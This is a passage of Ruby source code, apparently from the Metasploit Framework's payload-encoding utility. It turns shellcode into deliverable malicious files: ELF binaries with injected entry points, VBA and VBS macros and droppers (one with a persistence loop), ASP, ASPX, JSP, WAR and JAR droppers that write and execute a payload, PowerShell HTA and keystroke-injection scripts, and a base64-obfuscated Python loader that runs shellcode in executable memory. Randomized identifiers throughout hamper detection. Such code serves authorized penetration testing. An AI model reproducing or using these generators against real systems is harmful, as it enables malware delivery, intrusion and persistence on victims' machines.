# For user-provided templates, modifies the header to mark all executable
948
# segments as writable and overwrites the entrypoint (usually _start) with
949
# the payload.
950
# @param framework [Msf::Framework] The framework of you want to use
951
# @param opts [Hash]
952
# @option [String] :template
953
# @param template [String]
954
# @param code [String]
955
# @param big_endian [Boolean] Set to "false" by default
956
# @return [String]
957
def self.to_exe_elf(framework, opts, template, code, big_endian = false)
958
if elf? code
959
return code
960
end
961
962
# Allow the user to specify their own template
963
set_template_default(opts, template)
964
965
# The old way to do it is like other formats, just overwrite a big
966
# block of rwx mem with our shellcode.
967
# bo = elf.index( "\x90\x90\x90\x90" * 1024 )
968
# co = elf.index( " " * 512 )
969
# elf[bo, 2048] = [code].pack('a2048') if bo
970
971
# The new template is just an ELF header with its entry point set to
972
# the end of the file, so just append shellcode to it and fixup
973
# p_filesz and p_memsz in the header for a working ELF executable.
974
elf = get_file_contents(opts[:template])
975
elf << code
976
977
# Check EI_CLASS to determine if the header is 32 or 64 bit
978
# Use the proper offsets and pack size
979
case elf[4, 1].unpack('C').first
980
when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)
981
if big_endian
982
elf[0x44, 4] = [elf.length].pack('N') # p_filesz
983
elf[0x48, 4] = [elf.length + code.length].pack('N') # p_memsz
984
else # little endian
985
elf[0x44, 4] = [elf.length].pack('V') # p_filesz
986
elf[0x48, 4] = [elf.length + code.length].pack('V') # p_memsz
987
end
988
when 2 # ELFCLASS64 - 64 bit (ruby 1.9+)
989
if big_endian
990
elf[0x60, 8] = [elf.length].pack('Q>') # p_filesz
991
elf[0x68, 8] = [elf.length + code.length].pack('Q>') # p_memsz
992
else # little endian
993
elf[0x60, 8] = [elf.length].pack('Q<') # p_filesz
994
elf[0x68, 8] = [elf.length + code.length].pack('Q<') # p_memsz
995
end
996
else
997
raise 'Invalid ELF template: EI_CLASS value not supported'
998
end
999
1000
elf
1001
end
1002
1003
# Create a 32-bit Linux ELF containing the payload provided in +code+
1004
#
1005
# @param framework [Msf::Framework] The framework of you want to use
1006
# @param code [String]
1007
# @param opts [Hash]
1008
# @option [String] :template
1009
# @return [String] Returns an elf
1010
def self.to_linux_x86_elf(framework, code, opts = {})
1011
default = true unless opts[:template]
1012
1013
if default
1014
elf = to_exe_elf(framework, opts, 'template_x86_linux.bin', code)
1015
else
1016
# Use set_template_default to normalize the :template key. It will just end up doing
1017
# opts[:template] = File.join(opts[:template_path], opts[:template])
1018
# for us, check if the file exists.
1019
set_template_default(opts, 'template_x86_linux.bin')
1020
1021
# If this isn't our normal template, we have to do some fancy
1022
# header patching to mark the .text section rwx before putting our
1023
# payload into the entry point.
1024
1025
# read in the template and parse it
1026
e = Metasm::ELF.decode_file(opts[:template])
1027
1028
# This will become a modified copy of the template's original phdr
1029
new_phdr = Metasm::EncodedData.new
1030
e.segments.each do |s|
1031
# Be lazy and mark any executable segment as writable. Doing
1032
# it this way means we don't have to care about which one
1033
# contains .text
1034
s.flags += [ 'W' ] if s.flags.include? 'X'
1035
new_phdr << s.encode(e)
1036
end
1037
1038
# Copy the original file
1039
elf = get_file_contents(opts[:template], 'rb')
1040
1041
# Replace the header with our rwx modified version
1042
elf[e.header.phoff, new_phdr.data.length] = new_phdr.data
1043
1044
# Replace code at the entrypoint with our payload
1045
entry_off = e.addr_to_off(e.label_addr('entrypoint'))
1046
elf[entry_off, code.length] = code
1047
end
1048
1049
elf
1050
end
1051
1052
# Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in +code+
1053
#
1054
# @param framework [Msf::Framework]
1055
# @param code [String]
1056
# @param opts [Hash]
1057
# @option [String] :template
1058
# @return [String] Returns an elf
1059
def self.to_bsd_x86_elf(framework, code, opts = {})
1060
to_exe_elf(framework, opts, 'template_x86_bsd.bin', code)
1061
end
1062
1063
# Create a 64-bit Linux ELF containing the payload provided in +code+
1064
#
1065
# @param framework [Msf::Framework]
1066
# @param code [String]
1067
# @param opts [Hash]
1068
# @option [String] :template
1069
# @return [String] Returns an elf
1070
def self.to_bsd_x64_elf(framework, code, opts = {})
1071
to_exe_elf(framework, opts, 'template_x64_bsd.bin', code)
1072
end
1073
1074
# Create a 32-bit Solaris ELF containing the payload provided in +code+
1075
#
1076
# @param framework [Msf::Framework]
1077
# @param code [String]
1078
# @param opts [Hash]
1079
# @option [String] :template
1080
# @return [String] Returns an elf
1081
def self.to_solaris_x86_elf(framework, code, opts = {})
1082
to_exe_elf(framework, opts, 'template_x86_solaris.bin', code)
1083
end
1084
1085
# Create a 64-bit Linux ELF containing the payload provided in +code+
1086
#
1087
# @param framework [Msf::Framework]
1088
# @param code [String]
1089
# @param opts [Hash]
1090
# @option [String] :template
1091
# @return [String] Returns an elf
1092
def self.to_linux_x64_elf(framework, code, opts = {})
1093
to_exe_elf(framework, opts, 'template_x64_linux.bin', code)
1094
end
1095
1096
# Create a 32-bit Linux ELF_DYN containing the payload provided in +code+
1097
#
1098
# @param framework [Msf::Framework]
1099
# @param code [String]
1100
# @param opts [Hash]
1101
# @option [String] :template
1102
# @return [String] Returns an elf
1103
def self.to_linux_x86_elf_dll(framework, code, opts = {})
1104
to_exe_elf(framework, opts, 'template_x86_linux_dll.bin', code)
1105
end
1106
1107
# Create a AARCH64 Linux ELF_DYN containing the payload provided in +code+
1108
#
1109
# @param framework [Msf::Framework]
1110
# @param code [String]
1111
# @param opts [Hash]
1112
# @option [String] :template
1113
# @return [String] Returns an elf
1114
def self.to_linux_aarch64_elf_dll(framework, code, opts = {})
1115
to_exe_elf(framework, opts, 'template_aarch64_linux_dll.bin', code)
1116
end
1117
1118
# Create a 64-bit Linux ELF_DYN containing the payload provided in +code+
1119
#
1120
# @param framework [Msf::Framework]
1121
# @param code [String]
1122
# @param opts [Hash]
1123
# @option [String] :template
1124
# @return [String] Returns an elf
1125
def self.to_linux_x64_elf_dll(framework, code, opts = {})
1126
to_exe_elf(framework, opts, 'template_x64_linux_dll.bin', code)
1127
end
1128
1129
# self.to_linux_armle_elf
1130
#
1131
# @param framework [Msf::Framework]
1132
# @param code [String]
1133
# @param opts [Hash]
1134
# @option [String] :template
1135
# @return [String] Returns an elf
1136
def self.to_linux_armle_elf(framework, code, opts = {})
1137
to_exe_elf(framework, opts, 'template_armle_linux.bin', code)
1138
end
1139
1140
# self.to_linux_armbe_elf
1141
#
1142
# @param framework [Msf::Framework]
1143
# @param code [String]
1144
# @param opts [Hash]
1145
# @option [String] :template
1146
# @return [String] Returns an elf
1147
def self.to_linux_armbe_elf(framework, code, opts = {})
1148
to_exe_elf(framework, opts, 'template_armbe_linux.bin', code, true)
1149
end
1150
1151
# self.to_linux_zarch_elf
1152
#
1153
# @param framework [Msf::Framework]
1154
# @param code [String]
1155
# @param opts [Hash]
1156
# @option [String] :template
1157
# @return [String] Returns an elf
1158
def self.to_linux_zarch_elf(framework, code, opts = {})
1159
to_exe_elf(framework, opts, 'template_zarch_linux.bin', code, true)
1160
end
1161
# self.to_linux_armle_elf_dll
1162
#
1163
# @param framework [Msf::Framework]
1164
# @param code [String]
1165
# @param opts [Hash]
1166
# @option [String] :template
1167
# @return [String] Returns an elf-so
1168
def self.to_linux_armle_elf_dll(framework, code, opts = {})
1169
to_exe_elf(framework, opts, 'template_armle_linux_dll.bin', code)
1170
end
1171
1172
# self.to_linux_aarch64_elf
1173
#
1174
# @param framework [Msf::Framework]
1175
# @param code [String]
1176
# @param opts [Hash]
1177
# @option [String] :template
1178
# @return [String] Returns an elf
1179
def self.to_linux_aarch64_elf(framework, code, opts = {})
1180
to_exe_elf(framework, opts, 'template_aarch64_linux.bin', code)
1181
end
1182
1183
# self.to_linux_ppc64le_elf
1184
#
1185
# @param framework [Msf::Framework]
1186
# @param code [String]
1187
# @param opts [Hash]
1188
# @option [String] :template
1189
# @return [String] Returns an elf
1190
def self.to_linux_ppc64le_elf(framework, code, opts = {})
1191
to_exe_elf(framework, opts, 'template_ppc64le_linux.bin', code)
1192
end
1193
1194
# self.to_linux_ppc_elf
1195
#
1196
# @param framework [msf::framework]
1197
# @param code [string]
1198
# @param opts [hash]
1199
# @option [string] :template
1200
# @return [string] returns an elf
1201
def self.to_linux_ppc_elf(framework, code, opts = {})
1202
to_exe_elf(framework, opts, 'template_ppc_linux.bin', code, true)
1203
end
1204
1205
# self.to_linux_ppce500v2_elf
1206
#
1207
# @param framework [msf::framework]
1208
# @param code [string]
1209
# @param opts [hash]
1210
# @option [string] :template
1211
# @return [string] returns an elf
1212
def self.to_linux_ppce500v2_elf(framework, code, opts = {})
1213
to_exe_elf(framework, opts, 'template_ppce500v2_linux.bin', code, true)
1214
end
1215
1216
# self.to_linux_mipsle_elf
1217
# Little Endian
1218
# @param framework [Msf::Framework]
1219
# @param code [String]
1220
# @param opts [Hash]
1221
# @option [String] :template
1222
# @return [String] Returns an elf
1223
def self.to_linux_mipsle_elf(framework, code, opts = {})
1224
to_exe_elf(framework, opts, 'template_mipsle_linux.bin', code)
1225
end
1226
1227
# self.to_linux_mipsbe_elf
1228
# Big Endian
1229
# @param framework [Msf::Framework]
1230
# @param code [String]
1231
# @param opts [Hash]
1232
# @option [String] :template
1233
# @return [String] Returns an elf
1234
def self.to_linux_mipsbe_elf(framework, code, opts = {})
1235
to_exe_elf(framework, opts, 'template_mipsbe_linux.bin', code, true)
1236
end
1237
1238
# self.to_linux_mips64_elf
1239
# Big Endian
1240
# @param framework [Msf::Framework]
1241
# @param code [String]
1242
# @param opts [Hash]
1243
# @option [String] :template
1244
# @return [String] Returns an elf
1245
def self.to_linux_mips64_elf(framework, code, opts = {})
1246
to_exe_elf(framework, opts, "template_mips64_linux.bin", code, true)
1247
end
1248
1249
# Create a RISC-V 64-bit LE Linux ELF containing the payload provided in +code+
1250
#
1251
# @param framework [Msf::Framework]
1252
# @param code [String]
1253
# @param opts [Hash]
1254
# @option [String] :template
1255
# @return [String] Returns an elf
1256
def self.to_linux_riscv64le_elf(framework, code, opts = {})
1257
to_exe_elf(framework, opts, 'template_riscv64le_linux.bin', code)
1258
end
1259
1260
# Create a RISC-V 64-bit LE Linux ELF_DYN containing the payload provided in +code+
1261
#
1262
# @param framework [Msf::Framework]
1263
# @param code [String]
1264
# @param opts [Hash]
1265
# @option [String] :template
1266
# @return [String] Returns an elf
1267
def self.to_linux_riscv64le_elf_dll(framework, code, opts = {})
1268
to_exe_elf(framework, opts, 'template_riscv64le_linux_dll.bin', code)
1269
end
1270
1271
# Create a RISC-V 32-bit LE Linux ELF containing the payload provided in +code+
1272
#
1273
# @param framework [Msf::Framework]
1274
# @param code [String]
1275
# @param opts [Hash]
1276
# @option [String] :template
1277
# @return [String] Returns an elf
1278
def self.to_linux_riscv32le_elf(framework, code, opts = {})
1279
to_exe_elf(framework, opts, 'template_riscv32le_linux.bin', code)
1280
end
1281
1282
# Create a RISC-V 32-bit LE Linux ELF_DYN containing the payload provided in +code+
1283
#
1284
# @param framework [Msf::Framework]
1285
# @param code [String]
1286
# @param opts [Hash]
1287
# @option [String] :template
1288
# @return [String] Returns an elf
1289
def self.to_linux_riscv32le_elf_dll(framework, code, opts = {})
1290
to_exe_elf(framework, opts, 'template_riscv32le_linux_dll.bin', code)
1291
end
1292
1293
def self.to_linux_loongarch64_elf(framework, code, opts = {})
1294
to_exe_elf(framework, opts, 'template_loongarch64_linux.bin', code)
1295
end
1296
1297
def self.to_linux_loongarch64_elf_dll(framework, code, opts = {})
1298
to_exe_elf(framework, opts, 'template_loongarch64_linux_dll.bin', code)
1299
end
1300
1301
# self.to_exe_vba
1302
#
1303
# @param exes [String]
1304
def self.to_exe_vba(exes = '')
1305
exe = exes.unpack('C*')
1306
hash_sub = {}
1307
idx = 0
1308
maxbytes = 2000
1309
var_base_idx = 0
1310
var_base = Rex::Text.rand_text_alpha(5).capitalize
1311
1312
# First write the macro into the vba file
1313
hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize
1314
hash_sub[:var_fname] = var_base + (var_base_idx += 1).to_s
1315
hash_sub[:var_fenvi] = var_base + (var_base_idx += 1).to_s
1316
hash_sub[:var_fhand] = var_base + (var_base_idx += 1).to_s
1317
hash_sub[:var_parag] = var_base + (var_base_idx += 1).to_s
1318
hash_sub[:var_itemp] = var_base + (var_base_idx += 1).to_s
1319
hash_sub[:var_btemp] = var_base + (var_base_idx += 1).to_s
1320
hash_sub[:var_appnr] = var_base + (var_base_idx += 1).to_s
1321
hash_sub[:var_index] = var_base + (var_base_idx += 1).to_s
1322
hash_sub[:var_gotmagic] = var_base + (var_base_idx += 1).to_s
1323
hash_sub[:var_farg] = var_base + (var_base_idx += 1).to_s
1324
hash_sub[:var_stemp] = var_base + (var_base_idx += 1).to_s
1325
hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8..15))
1326
1327
# Function 1 extracts the binary
1328
hash_sub[:func_name1] = var_base + (var_base_idx += 1).to_s
1329
1330
# Function 2 executes the binary
1331
hash_sub[:func_name2] = var_base + (var_base_idx + 1).to_s
1332
1333
hash_sub[:data] = ''
1334
1335
# Writing the bytes of the exe to the file
1336
1.upto(exe.length) do |_pc|
1337
while (c = exe[idx])
1338
hash_sub[:data] << "&H#{('%.2x' % c).upcase}"
1339
if idx > 1 && (idx % maxbytes) == 0
1340
# When maxbytes are written make a new paragrpah
1341
hash_sub[:data] << "\r\n"
1342
end
1343
idx += 1
1344
end
1345
end
1346
1347
read_replace_script_template('to_exe.vba.template', hash_sub)
1348
end
1349
1350
# self.to_vba
1351
#
1352
# @param framework [Msf::Framework]
1353
# @param code [String]
1354
# @param opts [Hash] Unused
1355
def self.to_vba(framework, code, opts = {})
1356
hash_sub = {}
1357
hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
1358
hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
1359
hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
1360
hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
1361
hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
1362
hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
1363
hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
1364
hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
1365
hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
1366
hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
1367
hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
1368
hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
1369
hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
1370
hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
1371
hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
1372
hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
1373
hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
1374
hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
1375
1376
# put the shellcode bytes into an array
1377
hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])
1378
1379
read_replace_script_template('to_mem.vba.template', hash_sub)
1380
end
1381
1382
# self.to_powershell_vba
1383
#
1384
# @param framework [Msf::Framework]
1385
# @param arch [String]
1386
# @param code [String]
1387
#
1388
def self.to_powershell_vba(framework, arch, code)
1389
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
1390
1391
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
1392
arch,
1393
template_path,
1394
encode_final_payload: true,
1395
remove_comspec: true,
1396
method: 'reflection')
1397
1398
# Initialize rig and value names
1399
rig = Rex::RandomIdentifier::Generator.new
1400
rig.init_var(:sub_auto_open)
1401
rig.init_var(:var_powershell)
1402
1403
hash_sub = rig.to_h
1404
# VBA has a maximum of 24 line continuations
1405
line_length = powershell.length / 24
1406
vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"'
1407
1408
hash_sub[:powershell] = vba_psh
1409
1410
read_replace_script_template('to_powershell.vba.template', hash_sub)
1411
end
1412
1413
# self.to_exe_vba
1414
#
1415
# @param exes [String]
1416
# @param opts [Hash]
1417
# @option opts [String] :delay
1418
# @option opts [String] :persists
1419
# @option opts [String] :exe_filename
1420
def self.to_exe_vbs(exes = '', opts = {})
1421
delay = opts[:delay] || 5
1422
persist = opts[:persist] || false
1423
1424
hash_sub = {}
1425
hash_sub[:exe_filename] = opts[:exe_filename] || Rex::Text.rand_text_alpha(rand(8..15)) << '.exe'
1426
hash_sub[:base64_filename] = Rex::Text.rand_text_alpha(rand(8..15)) << '.b64'
1427
hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8..15))
1428
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8..15))
1429
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8..15))
1430
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8..15))
1431
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8..15))
1432
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8..15))
1433
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8..15))
1434
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8..15))
1435
hash_sub[:base64_shellcode] = Rex::Text.encode_base64(exes)
1436
hash_sub[:var_decodefunc] = Rex::Text.rand_text_alpha(rand(8..15))
1437
hash_sub[:var_xml] = Rex::Text.rand_text_alpha(rand(8..15))
1438
hash_sub[:var_xmldoc] = Rex::Text.rand_text_alpha(rand(8..15))
1439
hash_sub[:var_decoded] = Rex::Text.rand_text_alpha(rand(8..15))
1440
hash_sub[:var_adodbstream] = Rex::Text.rand_text_alpha(rand(8..15))
1441
hash_sub[:var_decodebase64] = Rex::Text.rand_text_alpha(rand(8..15))
1442
hash_sub[:init] = ''
1443
1444
if persist
1445
hash_sub[:init] << "Do\r\n"
1446
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
1447
hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"
1448
hash_sub[:init] << "Loop\r\n"
1449
else
1450
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
1451
end
1452
1453
read_replace_script_template('to_exe.vbs.template', hash_sub)
1454
end
1455
1456
# self.to_exe_asp
1457
#
1458
# @param exes [String]
1459
# @param opts [Hash] Unused
1460
def self.to_exe_asp(exes = '', opts = {})
1461
hash_sub = {}
1462
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4..7)) # repeated a large number of times, so keep this one small
1463
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8..15))
1464
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8..15))
1465
hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8..15))
1466
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8..15))
1467
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8..15))
1468
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8..15))
1469
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8..15))
1470
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8..15))
1471
hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])
1472
read_replace_script_template('to_exe.asp.template', hash_sub)
1473
end
1474
1475
# self.to_exe_aspx
1476
#
1477
# @param exes [String]
1478
# @option opts [Hash]
1479
def self.to_exe_aspx(exes = '', opts = {})
1480
hash_sub = {}
1481
hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8..15))
1482
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8..15))
1483
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8..15))
1484
hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8..15))
1485
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8..15))
1486
hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8..15))
1487
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8..15))
1488
hash_sub[:shellcode] = Rex::Text.to_csharp(exes, 100, hash_sub[:var_file])
1489
read_replace_script_template('to_exe.aspx.template', hash_sub)
1490
end
1491
1492
def self.to_mem_aspx(framework, code, exeopts = {})
1493
# Initialize rig and value names
1494
rig = Rex::RandomIdentifier::Generator.new
1495
rig.init_var(:var_funcAddr)
1496
rig.init_var(:var_hThread)
1497
rig.init_var(:var_pInfo)
1498
rig.init_var(:var_threadId)
1499
rig.init_var(:var_bytearray)
1500
1501
hash_sub = rig.to_h
1502
hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])
1503
1504
read_replace_script_template('to_mem.aspx.template', hash_sub)
1505
end
1506
1507
def self.to_win32pe_psh_net(framework, code, opts = {})
1508
Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1509
end
1510
1511
def self.to_win32pe_psh(framework, code, opts = {})
1512
Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1513
end
1514
1515
#
1516
# Reflection technique prevents the temporary .cs file being created for the .NET compiler
1517
# Tweaked by shellster
1518
# Originally from PowerSploit
1519
#
1520
def self.to_win32pe_psh_reflection(framework, code, opts = {})
1521
Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1522
end
1523
1524
def self.to_powershell_command(framework, arch, code)
1525
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
1526
Rex::Powershell::Command.cmd_psh_payload(code,
1527
arch,
1528
template_path,
1529
encode_final_payload: true,
1530
method: 'reflection')
1531
end
1532
1533
def self.to_powershell_ducky_script(framework, arch, code)
1534
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
1535
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
1536
arch,
1537
template_path,
1538
encode_final_payload: true,
1539
method: 'reflection')
1540
replacers = {}
1541
replacers[:var_payload] = powershell
1542
read_replace_script_template('to_powershell.ducky_script.template', replacers)
1543
end
1544
1545
def self.to_powershell_hta(framework, arch, code)
1546
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
1547
1548
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
1549
arch,
1550
template_path,
1551
encode_final_payload: true,
1552
remove_comspec: true,
1553
method: 'reflection')
1554
1555
# Initialize rig and value names
1556
rig = Rex::RandomIdentifier::Generator.new
1557
rig.init_var(:var_shell)
1558
rig.init_var(:var_fso)
1559
1560
hash_sub = rig.to_h
1561
hash_sub[:powershell] = powershell
1562
1563
read_replace_script_template('to_powershell.hta.template', hash_sub)
1564
end
1565
1566
def self.to_python_reflection(framework, arch, code, exeopts)
1567
unless [ ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_PPC ].include? arch
1568
raise "Msf::Util::EXE.to_python_reflection is not compatible with #{arch}"
1569
end
1570
1571
python_code = <<~PYTHON
1572
#{Rex::Text.to_python(code)}
1573
import ctypes,os
1574
if os.name == 'nt':
1575
cbuf = (ctypes.c_char * len(buf)).from_buffer_copy(buf)
1576
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
1577
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_long(0),ctypes.c_long(len(buf)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
1578
ctypes.windll.kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p,ctypes.c_void_p,ctypes.c_int]
1579
ctypes.windll.kernel32.RtlMoveMemory(ptr,cbuf,ctypes.c_int(len(buf)))
1580
ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()
1581
else:
1582
import mmap
1583
from ctypes.util import find_library
1584
c = ctypes.CDLL(find_library('c'))
1585
c.mmap.restype = ctypes.c_void_p
1586
ptr = c.mmap(0,len(buf),mmap.PROT_READ|mmap.PROT_WRITE,mmap.MAP_ANONYMOUS|mmap.MAP_PRIVATE,-1,0)
1587
ctypes.memmove(ptr,buf,len(buf))
1588
c.mprotect.argtypes = [ctypes.c_void_p,ctypes.c_int,ctypes.c_int]
1589
c.mprotect(ptr,len(buf),mmap.PROT_READ|mmap.PROT_EXEC)
1590
ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()
1591
PYTHON
1592
1593
"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(python_code)}')[0]))"
1594
end
1595
1596
def self.to_win32pe_psh_msil(framework, code, opts = {})
1597
Rex::Powershell::Payload.to_win32pe_psh_msil(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1598
end
1599
1600
def self.to_win32pe_psh_rc4(framework, code, opts = {})
1601
# unlike other to_win32pe_psh_* methods, this expects powershell code, not asm
1602
# this method should be called after other to_win32pe_psh_* methods to wrap the output
1603
Rex::Powershell::Payload.to_win32pe_psh_rc4(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1604
end
1605
1606
def self.to_jsp(exe)
1607
hash_sub = {}
1608
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8..15))
1609
hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8..15))
1610
hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8..15))
1611
hash_sub[:var_payloadlength] = Rex::Text.rand_text_alpha(rand(8..15))
1612
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8..15))
1613
hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8..15))
1614
hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8..15))
1615
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8..15))
1616
hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8..15))
1617
hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8..15))
1618
hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8..15))
1619
1620
payload_hex = exe.unpack('H*')[0]
1621
hash_sub[:payload] = payload_hex
1622
1623
read_replace_script_template('to_exe.jsp.template', hash_sub)
1624
end
1625
1626
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
1627
# payload. The jsp page converts the hexdump back to a normal binary file
1628
# and places it in the temp directory. The payload file is then executed.
1629
#
1630
# @see to_war
1631
# @param exe [String] Executable to drop and run.
1632
# @param opts (see to_war)
1633
# @option opts (see to_war)
1634
# @return (see to_war)
1635
def self.to_jsp_war(exe, opts = {})
1636
template = to_jsp(exe)
1637
to_war(template, opts)
1638
end
1639
1640
def self.to_win32pe_vbs(framework, code, opts = {})
1641
to_exe_vbs(to_win32pe(framework, code, opts), opts)
1642
end
1643
1644
def self.to_win64pe_vbs(framework, code, opts = {})
1645
to_exe_vbs(to_win64pe(framework, code, opts), opts)
1646
end
1647
1648
# Creates a jar file that drops the provided +exe+ into a random file name
1649
# in the system's temp dir and executes it.
1650
#
1651
# @see Msf::Payload::Java
1652
#
1653
# @return [Rex::Zip::Jar]
1654
def self.to_jar(exe, opts = {})
1655
spawn = opts[:spawn] || 2
1656
exe_name = Rex::Text.rand_text_alpha(8) + '.exe'
1657
zip = Rex::Zip::Jar.new
1658
zip.add_sub('metasploit') if opts[:random]
1659
paths = [
1660
[ 'metasploit', 'Payload.class' ],
1661
]
1662
1663
zip.add_file('metasploit/', '')
1664
paths.each do |path_parts|
1665
path = ['java', path_parts].flatten.join('/')
1666
contents = ::MetasploitPayloads.read(path)
1667
zip.add_file(path_parts.join('/'), contents)
1668
end
1669
1670
zip.build_manifest main_class: 'metasploit.Payload'
1671
config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"
1672
zip.add_file('metasploit.dat', config)
1673
zip.add_file(exe_name, exe)
1674
1675
zip
1676
end
1677
1678
# Creates a Web Archive (WAR) file from the provided jsp code.
1679
#
1680
# On Tomcat, WAR files will be deployed into a directory with the same name
1681
# as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the
1682
# server is in a default configuration, deoployment will happen
1683
# automatically. See
1684
# {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat
1685
# documentation} for a description of how this works.
1686
#
1687
# @param jsp_raw [String] JSP code to be added in a file called +jsp_name+
1688
# in the archive. This will be compiled by the victim servlet container
1689
# (e.g., Tomcat) and act as the main function for the servlet.
1690
# @param opts [Hash]
1691
# @option opts :jsp_name [String] Name of the <jsp-file> in the archive
1692
# _without the .jsp extension_. Defaults to random.
1693
# @option opts :app_name [String] Name of the app to put in the <servlet-name>
1694
# tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to
1695
# random.
1696
# @option opts :extra_files [Array<String,String>] Additional files to add
1697
# to the archive. First element is filename, second is data
1698
#
1699
# @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar}
1700
#
1701
# @return [String]
1702
def self.to_war(jsp_raw, opts = {})
1703
jsp_name = opts[:jsp_name]
1704
jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8..15))
1705
app_name = opts[:app_name]
1706
app_name ||= Rex::Text.rand_text_alpha_lower(rand(8..15))
1707
1708
meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')
1709
manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
1710
